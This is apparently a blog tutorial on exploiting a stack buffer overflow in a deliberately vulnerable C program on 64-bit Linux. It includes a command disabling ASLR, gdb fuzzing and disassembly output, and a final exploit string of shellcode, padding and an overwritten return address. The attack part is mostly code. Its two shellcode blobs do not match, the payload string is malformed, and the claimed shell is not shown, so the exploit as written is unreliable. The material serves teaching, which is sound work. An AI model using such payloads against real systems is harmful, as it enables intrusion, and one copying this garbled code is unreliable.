Skip to main content

Vanilla Buffer Overflow And Attack On Linux Platform

Buffer Overflow Attack:

What is buffer Overflow:

A buffer overflow happens when too much data put into the buffer which exceed the length of buffer defined and memory corruption happens or application crashes.
From Crashing to Exploit:
After crashing a application with a fuzzer,next step to own the Application or exploit the Application.so after overflown the extra data is overwriteen to EIP register.we will discuss more in the upcoming blogs.so if we point the EIP to the shellcode we can exploit the application or vulnerability.
Here we will discuss exploit and gdb on Linux platform.first we will discuss gdb .
so far in the Internet we have seen lots of tutorials regarding Exploit,but in modern L:inux there are lots of protection like DEP,ASLR.so we have to disable that in the OS

ASLR is implemented by the kernel and the ELF loader by randomising the location of memory allocations (stack, heap, shared libraries, etc). This makes memory addresses harder to predict when an attacker is attempting a memory-corruption exploit. ASLR is controlled system-wide by the value of /proc/sys/kernel/randomize_va_space

so we need to disable that 
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space




STACK ASLR

Each execution of a program results in a different stack memory space layout. This makes it harder to locate in memory where to attack or deliver an executable attack payload. This was available in the mainline kernel since 2.6.15 (Ubuntu 6.06).

LIBS/MMAP ASLR

Each execution of a program results in a different mmap memory space layout (which causes the dynamically loaded libraries to get loaded into different locations each time). This makes it harder to locate in memory where to jump to for "return to libc" to similar attacks. This was available in the mainline kernel since 2.6.15 (Ubuntu 6.06).

EXEC ASLR

Each execution of a program that has been built with "-fPIE -pie" will get loaded into a different memory location. This makes it harder to locate in memory where to attack or jump to when performing memory-corruption-based attacks. This was available in the mainline kernel since 2.6.25 (and was backported to Ubuntu 8.04 LTS).

BRK ASLR

Similar to exec ASLR, brk ASLR adjusts the memory locations relative between the exec memory area and the brk memory area (for small mallocs). The randomization of brk offset from exec memory was added in 2.6.26 (Ubuntu 8.10), though some of the effects of brk ASLR can be seen for PIE programs in Ubuntu 8.04 LTS since exec was ASLR, and brk is allocated immediately after the exec region (so it was technically randomized, but not randomized with respect to the text region until 8.10).

VDSO ASLR

Each execution of a program results in a random vdso location. While this has existed in the mainline kernel since 2.6.18 (x86, PPC) and 2.6.22 (x86_64), it hadn't been enabled in Ubuntu 6.10 due to COMPAT_VDSO being enabled, which was removed in Ubuntu 8.04 LTS. This protects against jump-into-syscall attacks. Only x86 (maybe ppc?) is supported by glibc 2.6. glibc 2.7 (Ubuntu 8.04 LTS) supports x86_64 ASLR vdso. People needing ancient pre-libc6 static high vdso mappings can use "vdso=2" on the kernel boot command line to gain COMPAT_VDSO again.

Vulnerable Program:
here we will show a simple c programm which is vulnerable and after that we will try to exploit it.

int main(int argc,char *argv[])
{
char buff[60];
memcpy(buff,argv[1],strlen(argv[1]));
printf("I am Vulnerable,Please exploit me.My length is:\n%s",buff);
}
Compile with disabling stack protector option by below command
gcc vuln.c -o vuln  -fno-stack-protector

Now if we run the program with command line argument 

Now nothing happens.because the length of string is less than defined.i.e:60.so if we cross beyond 60,there will be overflow and we can exploit it.
let;s start with fuzzing and check the stack register in gdb .

root@bikash-VirtualBox:/home/bikash#  ./vuln  $(python -c 'print "A"*50')
I am Vulnerable,Please exploit me.My length is:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒
root@bikash-VirtualBox:/home/bikash# ./vuln  $(python -c 'print "A"*60')
I am Vulnerable,Please exploit me.My length is:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
root@bikash-VirtualBox:/home/bikash# ./vuln  $(python -c 'print "A"*64')
I am Vulnerable,Please exploit me.My length is:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
root@bikash-VirtualBox:/home/bikash# ./vuln  $(python -c 'print "A"*80')
I am Vulnerable,Please exploit me.My length is:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
so if we cross the limit that is beyond 60 ,we can crash the application or segmentation 
gdb ./vuln

(gdb) disas main
Dump of assembler code for function main:
   0x00000000004005dd <+0>:     push   %rbp
   0x00000000004005de <+1>:     mov    %rsp,%rbp
   0x00000000004005e1 <+4>:     sub    $0x50,%rsp
   0x00000000004005e5 <+8>:     mov    %edi,-0x44(%rbp)
   0x00000000004005e8 <+11>:    mov    %rsi,-0x50(%rbp)
   0x00000000004005ec <+15>:    mov    -0x50(%rbp),%rax
   0x00000000004005f0 <+19>:    add    $0x8,%rax
   0x00000000004005f4 <+23>:    mov    (%rax),%rax
   0x00000000004005f7 <+26>:    mov    %rax,%rdi
   0x00000000004005fa <+29>:    callq  0x4004a0 <strlen@plt>
   0x00000000004005ff <+34>:    mov    %rax,%rdx
   0x0000000000400602 <+37>:    mov    -0x50(%rbp),%rax
   0x0000000000400606 <+41>:    add    $0x8,%rax
   0x000000000040060a <+45>:    mov    (%rax),%rcx
   0x000000000040060d <+48>:    lea    -0x40(%rbp),%rax
   0x0000000000400611 <+52>:    mov    %rcx,%rsi
   0x0000000000400614 <+55>:    mov    %rax,%rdi
   0x0000000000400617 <+58>:    callq  0x4004e0 <memcpy@plt>
   0x000000000040061c <+63>:    lea    -0x40(%rbp),%rax
   0x0000000000400620 <+67>:    mov    %rax,%rsi
   0x0000000000400623 <+70>:    mov    $0x4006c8,%edi
   0x0000000000400628 <+75>:    mov    $0x0,%eax
   0x000000000040062d <+80>:    callq  0x4004b0 <printf@plt>
   0x0000000000400632 <+85>:    leaveq
   0x0000000000400633 <+86>:    retq
End of assembler dump.

before running the program let's put breakpoints on the  memcpy and ret instruction  function and analyze the register
let's fuzz the application,and check it through debugger.please check below:
r $(python -c 'print "A"*80')

Let's continue with the program for the 2nd breakpoint
(gdb) c
Continuing.
I am Vulnerable,Please exploit me.My length is:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 2, 0x0000000000400632 in main ()

so in the Above programm which is compiled in 64 bit system can take upto 68 bytes of buffer.so we wil give to 76 bytes of  data as below and we can overwrite the eip register in gdb
 r $(python -c 'print "A"*76')
Let's continue the program and stepin the program.Eventually we will crash at RIP register.check below diagram :


Our breakpoint is hit,which is nothing but calling memcpy function.After that continue the programm while we checked RIP register. Afetr that we come to next breakpoint.
check the image below:

we have seen the program crashes when it is tries to execute retq instruction.because it is tries to read the next Instruction which we have overwritten with 76 A's
Exploitation:
Now we can redirect the execution path to attcker's code and the next Instruction will contains the shellcode and we can pwn the system.
We have an shellcode. Writing Shellcode will be explained in another tutorial Our shellcode: “\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08 \x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\\x41\x41\x41\x41\xff\x7f\\x41\x41\x41\x41\x42\x42\ x42\x42”
so we can do this by shellcode+junk+eip
Here we will take 45 bytes of shellcode
junk=23*A
EIP=Hardcoded path in little Endian order

string= "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" +23*"A"+"\x41\x41\x41\x41\xff\x7f\"

Running the vulnerable program with the payload we pwned the shellcode as folows



We got shell.Pwned the system

Comments

Popular posts from this blog

Intro To Malware Analsys

Hi Folks, here I will analyze a malware which is possible packed with nspack. Details are below:SHA256:5df0b1b07143c880c76d6e82253a20192981c83c3ea68bf86ffede6b17c01da4File name:5df0b1b07143c880c76d6e82253a20192981c83c3ea68bf86ffede6b17c01da4

Buffer Overflow Attack on Windows

Generally Exploiting In windows system is very tough,though you have to overcome various protection and bypass.In some cases you have to use Kernel Mode exploits.
And also we will show you the target machine which we will perform attack is XP,otherwise if we will try on win7,win8,win10,then we will have to cross the path where all doors are closed.hope you got my point.First we will discuss some of the protection mechanism here. ASLR
DEP
SEH
SAFESEH
SEHOP
Control Flow Guard(CFG) Stack Compiler Option(/GS cookie option) EMET Heap Isolation and many more coming.............
But before starting our exploit development process we should know some theory which is very necessary.Otherwise we are in the middle of way and we don't know the path to go around. Windows Memory Layout
In an X86 system, when a application starts,a process is created and virtual memory assigned.so the address space ranges from 0x00000000 to 0xFFFFFFFF which is called user-land level of OS.If the address range from 0x00000000…